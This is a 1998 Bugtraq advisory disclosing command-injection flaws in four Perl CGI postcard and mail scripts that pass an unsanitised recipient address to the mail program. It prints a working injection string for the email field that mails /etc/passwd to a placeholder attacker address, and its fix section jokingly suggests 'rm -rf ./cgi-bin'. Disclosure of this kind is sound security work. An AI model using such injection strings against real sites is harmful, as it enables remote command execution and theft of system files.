Date:	Mon, 9 Nov 1998 18:26:05 -0600
From:	xnec <xnec@WINTERMUTE.LINUX.TC>
Subject:      Several new CGI vulnerabilities
To:	BUGTRAQ@NETSPACE.ORG

INFO:
        After looking over the perl-CGI scripts on www.cgi-resources.com,
I've discovered vulnerabilities in the following:

1. HAMcards Postcard script v1.0 Beta 2
   (www.hamnetcenter.com)

2. Hot Postal Services v??
   (www.hotarea.com)
   note: the only metacharacter stripping this script does is rejecting
         any |'s

3.  RC Bowen's Postcards v??
    (www.rcbowen.com)

4. LakeWeb's File Mail and Mail List (expanded File Mail) v??
    (www.lakeweb.com)

EXPLOIT:

Each of these are exploitable by inputing metacharacters into the
recipient's email address.  Each script calls something similar
to:

 open( MAIL, "|$mailprog $email" )
 # this particular line is from the LakeWeb scripts

The exploit strings are simple, something like
&mail evil@foobar.com < /etc/passwd&@host.com will work for each script
(the @host.com is necessary because some hosts check for "@" and ".")
when placed in the Recipient Email field.

As a result, any command can be executed remotely without a local
account with the uid of the webserver (usually "nobody" or similar,
but you never know).

FIX:
Either fork your sendmail process, strip out metacharacters (or only allow
certian characters), use open (MAIL , "|$sendmail -t") or rm -rf
./cgi-bin.

                 -xnec

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